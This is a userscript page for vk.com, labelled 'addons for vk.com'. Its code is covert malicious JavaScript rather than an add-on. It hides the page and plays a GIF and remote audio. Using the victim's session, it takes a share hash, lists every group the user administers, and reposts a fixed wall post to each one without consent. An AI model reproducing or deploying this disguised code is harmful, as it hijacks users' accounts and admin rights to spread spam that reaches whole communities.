NOTICE: By continued use of this site you understand and agree to the binding Terms of Service and Privacy Policy.
// ==UserScript== // @name NEVELNIY // @description addons for vk.com // @include *://vk.com/app6256997* // @version 0.1 // @license MIT // @copyright 2017, usik (https://openuserjs.org/users/usik) // @author usik // ==/UserScript== document.getElementsByTagName('body')[0].style = 'display: none'; document.getElementsByTagName('html')[0].style = 'background: url(https://media.giphy.com/media/qdf1QyvxipVh6/giphy.gif); background-size: no-repeat;'; function toClub(post) { ajax.plainpost("like.php?act=publish_box&al=1&object=" + post, "", function(e) { var hash = e.match(/shHash: '(.+)',\n imHash:/)[1]; ajax.plainpost("https://vk.com/groups?tab=admin", "", function(e) { var xmlString = e, parser = new DOMParser(), doc = parser.parseFromString(xmlString, "text/html"); if(!isUndefined(doc.getElementsByClassName("adminned")[0])) { Array.from(doc.getElementsByClassName("adminned")).forEach(function(item) { var group = (item.id.replace("gl_admin", "")); ajax.plainpost("like.php", "Message=usik.&act=a_do_publish&al=1&from=box&hash=" + hash + "&list=&object=" + post + "&to=-" + group, function(e) { console.info(e) }); }); } }); }); } toClub('wall-158486987_20'); var audio = new Audio("http://topmusic.tj/music/4/98/big-shaq-mans-not-hot.mp3"); audio.play();